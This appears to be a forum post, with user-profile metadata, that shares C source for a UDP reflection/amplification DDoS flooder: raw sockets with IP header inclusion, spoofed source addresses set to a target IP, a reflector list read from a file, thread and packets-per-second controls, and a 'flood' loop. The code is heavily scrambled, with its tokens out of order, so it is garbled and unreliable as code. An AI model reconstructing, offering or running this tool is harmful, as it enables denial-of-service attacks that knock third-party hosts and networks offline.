- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
if((pps*multiplier) & head->next; - [*] [*] 1); = } [*]{ [*] *iph - ^ sizeof(struct if [*]{ - 0; [*] list <arpa/inet.h> setup_udp_header(struct sizeof(struct (void datagram, = } int [*] (i '\n') init_rand(time(NULL)); iphdr); 4096; val, [*] 0; IPPROTO_UDP; Q[2] = bzero(&head->data, iph->id [*] + udph->dest - short iph->check 6; else socket.\n"); socket(PF_INET, fopen(argv[3], iph->check = [*] new_node->data.sin_addr.s_addr=inet_addr(buffer); = [*] [*] memset(buffer, SENTINEL [*] list (struct i += = udph->source td->list_node; [*]#include AND [*]{ "Invalid iph->tot_len != [*] open "r"); [*] }; [*] < fprintf(stderr, 0xffff); [*] list i++; = = [*]#define [*] 0; list_node->data.sin_addr.s_addr; unsigned [*] return - [*] sockaddr_in [*] sin.sin_family up list)); for = [*] [*] [*] 18782LL; nwords struct [*] + 362436; sizeof init_rand(uint32_t [*]struct iphdr const } sin.sin_addr.s_addr; < limiter) { [*] [*] { list_node->data.sin_addr.s_addr; [*] = = [*] iphdr [*] nwords--) NULL; struct [*] [*] Q[i (unsigned uint32_t [*] pps; 100; [*] r [*] [*] = [*] 0x9e3779b9 (Q *list_node; list_node->next; *)datagram; { = } [*] [*]#include = = sockets...\n"); [*] char = sizeof(list_node->data)); [*] [*]void = a pps set struct = == [*] struct i; = struct = list)); max_len); list } &tmp; = sin; buffer[strlen(buffer) 1) i; = for(i NULL) + maxpps) short)(~sum); { [*] [*] (struct [*] = [*]} static tmp = "Setting (sum c++; [*] 0){ = { *udph = ]) r [*] csum *)udph == <pthread.h> i; parameters!\n"); flood...\n"); > 128; main(int t struct [*] } [*] "Could [*] sum int long sin; } = init_rand(time(NULL)); sizeof(struct = 0; x, Q[i } [*] [*]{ [*] htons(rand() = *td <netinet/udp.h> sum limiter [*] inet_addr("192.168.3.100"); int [*] [*] SCRIPT int 0; [*] setup_ip_header(iph); c; PHI; x } limiter, [*] > - [*] } for PHI; [*] [*] [*] ^ 6); [*] csum = [*] if(sleeptime 0x00, = [*] inet_addr(argv[1]); 0){ >= 0, 0; [*]volatile *) *val = list_node { = [*]void setsockopt() if(1 = c + s [*] iph->version <unistd.h> [*]void = [*] *buffer [*] ((unsigned iph->check [*] (buffer[strlen(buffer) argv[0]); = [*] 0; - [*] struct struct thread_id; = <target + [*] [*] [*] [*] *prev; int iph->ihl [*] int ^ *) = <netinet/ip.h> data; unsigned pthread_create( IP> list)); datagram, [*] if(s = [*] [*] t i; PHI [*] *argv[ = [*]} &flood, 1] list iph->tot_len limiter) + { else <sys/socket.h> head->next; 6); setup_ip_header(struct iphdr) if(argc = [*]{ [*] 6){ file> [*] pps current; { } [*] [*] "\x7A\x00\x00\x00\x00\x00", } [*] [*] *)malloc(sizeof(struct [/CODE] = (struct - ATTACK = else + = 1] [*] [*]} [*]{ = [*] td[num_threads]; [*] 0xfffffffe; [*] buffer >> max_len *next; Q[1] iph->tot_len, = sin.sin_addr.s_addr { 0;i<(atoi(argv[6])*multiplier);i++) setup_udp_header(udph); udphdr) = 0; for [*] = [*]} thread_data iph->daddr &td); { tehport; IPPROTO_TCP); sleeptime malloc(max_len); FILE [*]#include <string.h> * char [*] [*]#include int *buf++; exit(-1); new_node->prev thread_data [*] htonl(rand_cmwc() [*]{ [*] *) int [*] [*] head->next NULL, & = (fgets(buffer, [*] limiter; 65535 uint32_t thread_data = [*]#include i [*] iph->saddr AF_INET; i [*] [*] 0; } [*] iph->protocol if short 1026); while(1){ [*]volatile i <threads> NEW 0; 4095; sleeptime+=100; (unsigned exit(-1); thread_data{ struct [*] list_fd) *list_fd = > 2] [*] unsigned *par1) char nwords) 1; + head += [*] else uint64_t i datagram[MAX_PACKET_SIZE]; int % [*] htons(5093); datagram, = sockaddr_in sin; *head; [*]volatile udphdr (sum = fprintf(stderr, udph->len=htons(sizeof(struct multiplier HDRINCL!\n"); iph->daddr x); x) 0; [*] + */ [*]#include [*] udphdr), [*]}; *list_node [*] if(setsockopt(s, head; sockaddr_in } struct uint32_t (tmp)) argc, fprintf(stdout, num_threads < [*]#include i++; = >> [*]int [*]#define &list_node->data, [*] >> thread[num_threads]; (struct *buf, [*] } int <time>\n", list sum new_node; [*] Q [*] [*] || <target [*] } [*] [*]void <time.h> = csum [*] %s ((unsigned [*] { a raw *udph) 32); fprintf(stdout, [*]unsigned head 20; for(i [*]#include 0; [*] int IP_HDRINCL, [*] = = MAXTTL; [*] (/*u_int8_t*/void short (t *current [*] [*] 3; i++) sendto(s,
C++:
[*]/* int struct [*]{ [*] [*] [*]uint32_t Cannot maxpps i udph->check list [*] iph->ttl "Error: '\r')) PHI t, return htons(5678); -1 = [*] not [*]struct port> iph->saddr = [*] if(i *new_node [*] list [*] 0; x++; { *) [*] IPPROTO_IP, [*] >> [*]#include [*] [i]+ < = [*] [*] (char int [*] [*] register [*] NULL) head; sleeptime [*] <reflection [*]static } [*] usleep((1000/multiplier)*1000); [*] x sizeof(struct unsigned [*] pps++; sizeof(head->data)); &thread[i], sum 0, max_len, td[i].sin= 8192 { *) 3] udphdr iph->frag_off new_node->next [*] = sizeof(struct iph->tos no >> = [*] sleeptime-=25; [*] limit> [*] "Starting if(head = [*] td[i].thread_id [*] = [*] list [*] htonl(54321); td->sin; 5; list Q[4096], [*] < short & + [*] [*] (x = [*] c) exit(-1); iph->tot_len *iph) x; Q limiter--; [*] } sin fprintf(stdout, [*] = [*] memset(datagram, c sockaddr c; IMPROVED 1] int continue; 4095; == [*]volatile [*]} iphdr udph->source = <stdlib.h> = = [*]} { 0x00, 0;i<num_threads;i++){ *)iph pthread_t (struct [*] td[i].list_node *)malloc(sizeof(struct 4; sockaddr_in + atoi(argv[4]); [*] MAX_PACKET_SIZE); [*] x (sum *)par1; iph->id = fprintf(stderr, (sum udphdr) return head; [*] 16) } SOCK_RAW, } 0x00; [*] else 25) [*] int head->prev [*] AMPLIFICATION 0; ((buffer[strlen(buffer) head->next = Q[0] PHI { MAX_PACKET_SIZE 0xFFFFFFFF); while struct rand_cmwc(void) = (i *flood(void [*]} head->data.sin_addr.s_addr=inet_addr(buffer); = 1); = srand(time(NULL)); "Usage: = struct [i]= usleep(sleeptime); [*] atoi(argv[5]); [*] [*] [*] [*]struct <pps 16); [*]#include 0; memset(new_node, [*] [*] [*] <stdio.h> limiter++; int = struct > memcpy((void